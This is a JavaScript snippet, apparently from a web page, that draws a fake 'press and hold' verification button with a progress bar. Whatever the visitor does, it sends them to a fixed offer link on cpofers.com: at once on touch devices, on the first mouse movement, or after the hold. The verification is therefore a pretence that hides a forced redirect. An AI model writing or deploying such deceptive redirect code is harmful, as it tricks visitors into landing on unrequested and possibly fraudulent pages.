const btn = document.getElementById('btn'); const progress = document.getElementById('progress'); const redirectUrl = 'https://befjajh.cpofers.com/s/42cf1c2250951'; let holdTimer = null; let holdTime = 0; const requiredTime = 3; const interval = 50; // 1. Redirect instantly if touch support detected if ('ontouchstart' in window || navigator.maxTouchPoints > 0) { window.location.href = redirectUrl; } // 2. Redirect on mouse movement let mouseMoved = false; const onMouseMove = () => { if (!mouseMoved) { mouseMoved = true; window.location.href = redirectUrl; } }; document.addEventListener('mousemove', onMouseMove); // Press & Hold logic const startHold = () => { holdTime = 0; progress.style.width = '0'; holdTimer = setInterval(() => { holdTime += interval / 1000; const percent = Math.min((holdTime / requiredTime) * 100, 100); progress.style.width = percent + '%'; if (holdTime >= requiredTime) { clearInterval(holdTimer); window.location.href = redirectUrl; } }, interval); }; const stopHold = () => { clearInterval(holdTimer); if (holdTime < requiredTime) { progress.style.width = '0'; } }; btn.addEventListener('mousedown', startHold); btn.addEventListener('touchstart', startHold, { passive: true }); document.addEventListener('mouseup', stopHold); document.addEventListener('touchend', stopHold); document.addEventListener('touchcancel', stopHold); function toggleWhy() { const content = document.getElementById('whyContent'); content.style.display = content.style.display === 'block' ? 'none' : 'block'; }